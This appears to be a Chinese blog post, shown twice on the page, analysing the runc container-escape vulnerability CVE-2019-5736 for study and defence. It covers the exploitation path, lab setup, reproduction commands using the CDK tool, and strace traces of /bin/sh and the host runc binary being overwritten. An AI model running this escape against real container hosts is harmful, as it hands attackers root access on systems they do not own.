searchusermenu
  • 发布文章
  • 消息中心
点赞
收藏
评论
分享
原创

容器逃逸漏洞分析 CVE-2019-5736

2024-11-18 09:21:52
3
0

容器逃逸漏洞分析 CVE-2019-5736

一、漏洞基本信息

条目 详情 备注
发布日期 2019-02-12
CVE-ID CVE-2019-5736
影响范围 runc <= 1.0-rc6(或Docker < 18.09.2)
修复版本 Docker 18.09.2
CVSS 8.6 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

二、漏洞简介

Docker、containerd或其他基于runc的容器运行时存在安全漏洞。攻击者可以通过特定的容器镜像或exec操作获取到宿主机runc执行时的文件句柄并以覆写方式篡改runc二进制文件,从而获取宿主机root权限。

三、前置知识

runc运行过程

runc启动并加入到指定容器的命名空间,接着以自身(""/proc/self/exe")为范本启动一个子进程,最后通过exec系统调用执行用户指定的二进制程序。

/proc/[PID]/exe

一种特殊的符号链接,又被称为magiclinks,指向进程自身对应的本地程序文件(例如我们执行ls,/proc/[PID]/exe就指向/bin/ls)。其特殊之处在于,当打开这个文件时,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符,而非以传统打开方式去做路径解析和文件查找,绕过了mnt命名空间及chroot对进程可访问路径的限制。

四、漏洞利用路径

  1. 将容器内的/bin/sh程序覆盖为#!/proc/self/exe
  2. 持续遍历容器内/proc目录,读取每一个/proc/[PID]/cmdline,对runc做字符匹配,直到找到runc进程号
  3. 以只读的方式打开/proc/[runc-PID]/exe,拿到文件描述符fd
  4. 持续以写方式打开只读fd,直到runc结束占用后,写方式打开成功,通过该fd向宿主机的/usr/bin/runc写入攻击载荷
  5. runc最后将执行用户通过docker exec执行的/bin/sh。因为第一步,实际将执行宿主机上的runc,而runc也以及在第四步被覆盖掉

五、漏洞复现和行为分析

环境搭建

  • ubuntu 18.04
  • docker 18.03.1-ce

metarget一键搭建:

git clone https://github.com/Metarget/metarget.git && cd metarget
apt update && apt install -y python3-pip
pip3 install -r requirements.txt
./metarget cnv install cve-2019-5736 --verbose
#备份runc
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak

利用:

# in host
docker run -it --rm  --cap-add sys_ptrace -v /home/ubuntu/neo:/neo ubuntu:18.04 bash
# in container
cd cdk && ./cdk run CVE-2019-5736 "touch /root/5736-success"
# in host
docker exec -it xxx /bin/sh

行为分析

下面用strace采集漏洞复现时的系统行为。

  1. 将容器内的/bin/sh程序覆盖为#!/proc/self/exe
    264   09:29:30.999970 openat(AT_FDCWD, "/bin/sh", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 3 <0.000133>
    264   09:29:31.000287 fcntl(3, F_GETFL) = 0x8002 (flags O_RDWR|O_LARGEFILE) <0.000006>
    264   09:29:31.000456 fcntl(3, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 <0.000006>
    264   09:29:31.000634 epoll_ctl(4, EPOLL_CTL_ADD, 3, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1742815448, u64=139790043398360}}) = -1 EPERM (Operation not permitted) <0.000007>
    264   09:29:31.000750 fcntl(3, F_GETFL) = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) <0.000006>
    264   09:29:31.000854 fcntl(3, F_SETFL, O_RDWR|O_LARGEFILE) = 0 <0.000072>
    264   09:29:31.001034 write(3, "#!/proc/self/exe\n", 17) = 17 <0.000016>
    264   09:29:31.001078 close(3)          = 0 <0.000126>
    
  2. 持续遍历容器内/proc目录,读取每一个/proc/[PID]/cmdline,对runc做字符匹配,直到找到runc进程号
    267   09:29:36.186545 newfstatat(AT_FDCWD, "/proc/270", {st_mode=S_IFDIR|0555, st_size=0, ...}, 0) = 0 <0.000075>
    267   09:29:36.186789 openat(AT_FDCWD, "/proc/270/cmdline", O_RDONLY|O_CLOEXEC) = 3 <0.000013>
    267   09:29:36.186901 fcntl(3, F_GETFL) = 0x8000 (flags O_RDONLY|O_LARGEFILE) <0.000074>
    267   09:29:36.186999 fcntl(3, F_SETFL, O_RDONLY|O_NONBLOCK|O_LARGEFILE) = 0 <0.000091>
    267   09:29:36.187112 epoll_ctl(4, EPOLL_CTL_ADD, 3, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1742815448, u64=139790043398360}}) = -1 EPERM (Operation not permitted) <0.000144>
    267   09:29:36.187355 fcntl(3, F_GETFL) = 0x8800 (flags O_RDONLY|O_NONBLOCK|O_LARGEFILE) <0.000006>
    267   09:29:36.187384 fcntl(3, F_SETFL, O_RDONLY|O_LARGEFILE) = 0 <0.000072>
    267   09:29:36.187481 fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0 <0.000097>
    267   09:29:36.187614 read(3, "docker-runc\0init\0", 512) = 17 <0.000122>
    267   09:29:36.187763 read(3, "", 495)  = 0 <0.000080>
    267   09:29:36.187868 close(3)          = 0 <0.000106>
    
  3. 持续以只读的方式打开/proc/[runc-PID]/exe,拿到文件描述符fd
    267   09:29:36.188720 openat(AT_FDCWD, "/proc/270/exe", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) <0.000267>
    267   09:29:36.189198 openat(AT_FDCWD, "/proc/270/exe", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) <0.000116>
    ...
    267   09:29:36.238363 openat(AT_FDCWD, "/proc/270/exe", O_RDONLY|O_CLOEXEC) = 3 <0.000014>
    267   09:29:36.238422 fcntl(3, F_GETFL) = 0x8000 (flags O_RDONLY|O_LARGEFILE) <0.000005>
    267   09:29:36.238451 fcntl(3, F_SETFL, O_RDONLY|O_NONBLOCK|O_LARGEFILE) = 0 <0.000006>
    267   09:29:36.238479 epoll_ctl(4, EPOLL_CTL_ADD, 3, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1742815448, u64=139790043398360}}) = -1 EPERM (Operation not permitted) <0.000006>
    267   09:29:36.238512 fcntl(3, F_GETFL) = 0x8800 (flags O_RDONLY|O_NONBLOCK|O_LARGEFILE) <0.000006>
    267   09:29:36.238550 fcntl(3, F_SETFL, O_RDONLY|O_LARGEFILE) = 0 <0.000006>
    
  4. 持续以写方式打开只读fd,直到runc结束占用后,写方式打开成功,通过该fd向宿主机的/usr/bin/runc写入攻击载荷
    267   09:29:36.238660 openat(AT_FDCWD, "/proc/self/fd/3", O_WRONLY|O_TRUNC|O_CLOEXEC) = -1 ETXTBSY (Text file busy) <0.000104>
    267   09:29:36.238875 openat(AT_FDCWD, "/proc/self/fd/3", O_WRONLY|O_TRUNC|O_CLOEXEC) = -1 ETXTBSY (Text file busy) <0.000095>
    ...
    267   09:29:36.268325 openat(AT_FDCWD, "/proc/self/fd/3", O_WRONLY|O_TRUNC|O_CLOEXEC) = 7 <0.000734>
    267   09:29:36.269108 fcntl(7, F_GETFL) = 0x8001 (flags O_WRONLY|O_LARGEFILE) <0.000006>
    267   09:29:36.269141 fcntl(7, F_SETFL, O_WRONLY|O_NONBLOCK|O_LARGEFILE) = 0 <0.000116>
    267   09:29:36.271453 epoll_ctl(4, EPOLL_CTL_ADD, 7, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1742815448, u64=139790043398360}}) = -1 EPERM (Operation not permitted) <0.000112>
    267   09:29:36.271684 fcntl(7, F_GETFL) = 0x8801 (flags O_WRONLY|O_NONBLOCK|O_LARGEFILE) <0.000084>
    267   09:29:36.271869 fcntl(7, F_SETFL, O_WRONLY|O_LARGEFILE) = 0 <0.000073>
    267   09:29:36.272047 write(7, "#!/bin/bash \n touch /root/5736-s"..., 38) = 38 <0.000101>
    
  5. runc最后将执行用户通过docker exec执行的/bin/sh。因为有第一步的替换,实际执行的是宿主机上替换过的sh,而runc也在第四步被覆盖掉
    13910 09:29:35.889416 execve("/usr/bin/docker", ["docker", "exec", "-it", "d4cf", "/bin/sh"], 0x7ffe2f6b90e8 /* 30 vars */) = 0 <0.000178>
    
0条评论
0 / 1000
c****f
2文章数
0粉丝数
c****f
2 文章 | 0 粉丝
c****f
2文章数
0粉丝数
c****f
2 文章 | 0 粉丝
原创

容器逃逸漏洞分析 CVE-2019-5736

2024-11-18 09:21:52
3
0

容器逃逸漏洞分析 CVE-2019-5736

一、漏洞基本信息

条目 详情 备注
发布日期 2019-02-12
CVE-ID CVE-2019-5736
影响范围 runc <= 1.0-rc6(或Docker < 18.09.2)
修复版本 Docker 18.09.2
CVSS 8.6 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

二、漏洞简介

Docker、containerd或其他基于runc的容器运行时存在安全漏洞。攻击者可以通过特定的容器镜像或exec操作获取到宿主机runc执行时的文件句柄并以覆写方式篡改runc二进制文件,从而获取宿主机root权限。

三、前置知识

runc运行过程

runc启动并加入到指定容器的命名空间,接着以自身(""/proc/self/exe")为范本启动一个子进程,最后通过exec系统调用执行用户指定的二进制程序。

/proc/[PID]/exe

一种特殊的符号链接,又被称为magiclinks,指向进程自身对应的本地程序文件(例如我们执行ls,/proc/[PID]/exe就指向/bin/ls)。其特殊之处在于,当打开这个文件时,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符,而非以传统打开方式去做路径解析和文件查找,绕过了mnt命名空间及chroot对进程可访问路径的限制。

四、漏洞利用路径

  1. 将容器内的/bin/sh程序覆盖为#!/proc/self/exe
  2. 持续遍历容器内/proc目录,读取每一个/proc/[PID]/cmdline,对runc做字符匹配,直到找到runc进程号
  3. 以只读的方式打开/proc/[runc-PID]/exe,拿到文件描述符fd
  4. 持续以写方式打开只读fd,直到runc结束占用后,写方式打开成功,通过该fd向宿主机的/usr/bin/runc写入攻击载荷
  5. runc最后将执行用户通过docker exec执行的/bin/sh。因为第一步,实际将执行宿主机上的runc,而runc也以及在第四步被覆盖掉

五、漏洞复现和行为分析

环境搭建

  • ubuntu 18.04
  • docker 18.03.1-ce

metarget一键搭建:

git clone https://github.com/Metarget/metarget.git && cd metarget
apt update && apt install -y python3-pip
pip3 install -r requirements.txt
./metarget cnv install cve-2019-5736 --verbose
#备份runc
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak

利用:

# in host
docker run -it --rm  --cap-add sys_ptrace -v /home/ubuntu/neo:/neo ubuntu:18.04 bash
# in container
cd cdk && ./cdk run CVE-2019-5736 "touch /root/5736-success"
# in host
docker exec -it xxx /bin/sh

行为分析

下面用strace采集漏洞复现时的系统行为。

  1. 将容器内的/bin/sh程序覆盖为#!/proc/self/exe
    264   09:29:30.999970 openat(AT_FDCWD, "/bin/sh", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 3 <0.000133>
    264   09:29:31.000287 fcntl(3, F_GETFL) = 0x8002 (flags O_RDWR|O_LARGEFILE) <0.000006>
    264   09:29:31.000456 fcntl(3, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 <0.000006>
    264   09:29:31.000634 epoll_ctl(4, EPOLL_CTL_ADD, 3, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1742815448, u64=139790043398360}}) = -1 EPERM (Operation not permitted) <0.000007>
    264   09:29:31.000750 fcntl(3, F_GETFL) = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) <0.000006>
    264   09:29:31.000854 fcntl(3, F_SETFL, O_RDWR|O_LARGEFILE) = 0 <0.000072>
    264   09:29:31.001034 write(3, "#!/proc/self/exe\n", 17) = 17 <0.000016>
    264   09:29:31.001078 close(3)          = 0 <0.000126>
    
  2. 持续遍历容器内/proc目录,读取每一个/proc/[PID]/cmdline,对runc做字符匹配,直到找到runc进程号
    267   09:29:36.186545 newfstatat(AT_FDCWD, "/proc/270", {st_mode=S_IFDIR|0555, st_size=0, ...}, 0) = 0 <0.000075>
    267   09:29:36.186789 openat(AT_FDCWD, "/proc/270/cmdline", O_RDONLY|O_CLOEXEC) = 3 <0.000013>
    267   09:29:36.186901 fcntl(3, F_GETFL) = 0x8000 (flags O_RDONLY|O_LARGEFILE) <0.000074>
    267   09:29:36.186999 fcntl(3, F_SETFL, O_RDONLY|O_NONBLOCK|O_LARGEFILE) = 0 <0.000091>
    267   09:29:36.187112 epoll_ctl(4, EPOLL_CTL_ADD, 3, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1742815448, u64=139790043398360}}) = -1 EPERM (Operation not permitted) <0.000144>
    267   09:29:36.187355 fcntl(3, F_GETFL) = 0x8800 (flags O_RDONLY|O_NONBLOCK|O_LARGEFILE) <0.000006>
    267   09:29:36.187384 fcntl(3, F_SETFL, O_RDONLY|O_LARGEFILE) = 0 <0.000072>
    267   09:29:36.187481 fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0 <0.000097>
    267   09:29:36.187614 read(3, "docker-runc\0init\0", 512) = 17 <0.000122>
    267   09:29:36.187763 read(3, "", 495)  = 0 <0.000080>
    267   09:29:36.187868 close(3)          = 0 <0.000106>
    
  3. 持续以只读的方式打开/proc/[runc-PID]/exe,拿到文件描述符fd
    267   09:29:36.188720 openat(AT_FDCWD, "/proc/270/exe", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) <0.000267>
    267   09:29:36.189198 openat(AT_FDCWD, "/proc/270/exe", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) <0.000116>
    ...
    267   09:29:36.238363 openat(AT_FDCWD, "/proc/270/exe", O_RDONLY|O_CLOEXEC) = 3 <0.000014>
    267   09:29:36.238422 fcntl(3, F_GETFL) = 0x8000 (flags O_RDONLY|O_LARGEFILE) <0.000005>
    267   09:29:36.238451 fcntl(3, F_SETFL, O_RDONLY|O_NONBLOCK|O_LARGEFILE) = 0 <0.000006>
    267   09:29:36.238479 epoll_ctl(4, EPOLL_CTL_ADD, 3, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1742815448, u64=139790043398360}}) = -1 EPERM (Operation not permitted) <0.000006>
    267   09:29:36.238512 fcntl(3, F_GETFL) = 0x8800 (flags O_RDONLY|O_NONBLOCK|O_LARGEFILE) <0.000006>
    267   09:29:36.238550 fcntl(3, F_SETFL, O_RDONLY|O_LARGEFILE) = 0 <0.000006>
    
  4. 持续以写方式打开只读fd,直到runc结束占用后,写方式打开成功,通过该fd向宿主机的/usr/bin/runc写入攻击载荷
    267   09:29:36.238660 openat(AT_FDCWD, "/proc/self/fd/3", O_WRONLY|O_TRUNC|O_CLOEXEC) = -1 ETXTBSY (Text file busy) <0.000104>
    267   09:29:36.238875 openat(AT_FDCWD, "/proc/self/fd/3", O_WRONLY|O_TRUNC|O_CLOEXEC) = -1 ETXTBSY (Text file busy) <0.000095>
    ...
    267   09:29:36.268325 openat(AT_FDCWD, "/proc/self/fd/3", O_WRONLY|O_TRUNC|O_CLOEXEC) = 7 <0.000734>
    267   09:29:36.269108 fcntl(7, F_GETFL) = 0x8001 (flags O_WRONLY|O_LARGEFILE) <0.000006>
    267   09:29:36.269141 fcntl(7, F_SETFL, O_WRONLY|O_NONBLOCK|O_LARGEFILE) = 0 <0.000116>
    267   09:29:36.271453 epoll_ctl(4, EPOLL_CTL_ADD, 7, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1742815448, u64=139790043398360}}) = -1 EPERM (Operation not permitted) <0.000112>
    267   09:29:36.271684 fcntl(7, F_GETFL) = 0x8801 (flags O_WRONLY|O_NONBLOCK|O_LARGEFILE) <0.000084>
    267   09:29:36.271869 fcntl(7, F_SETFL, O_WRONLY|O_LARGEFILE) = 0 <0.000073>
    267   09:29:36.272047 write(7, "#!/bin/bash \n touch /root/5736-s"..., 38) = 38 <0.000101>
    
  5. runc最后将执行用户通过docker exec执行的/bin/sh。因为有第一步的替换,实际执行的是宿主机上替换过的sh,而runc也在第四步被覆盖掉
    13910 09:29:35.889416 execve("/usr/bin/docker", ["docker", "exec", "-it", "d4cf", "/bin/sh"], 0x7ffe2f6b90e8 /* 30 vars */) = 0 <0.000178>
    
文章来自个人专栏
【云】容器安全
2 文章 | 1 订阅
0条评论
0 / 1000
请输入你的评论
1
1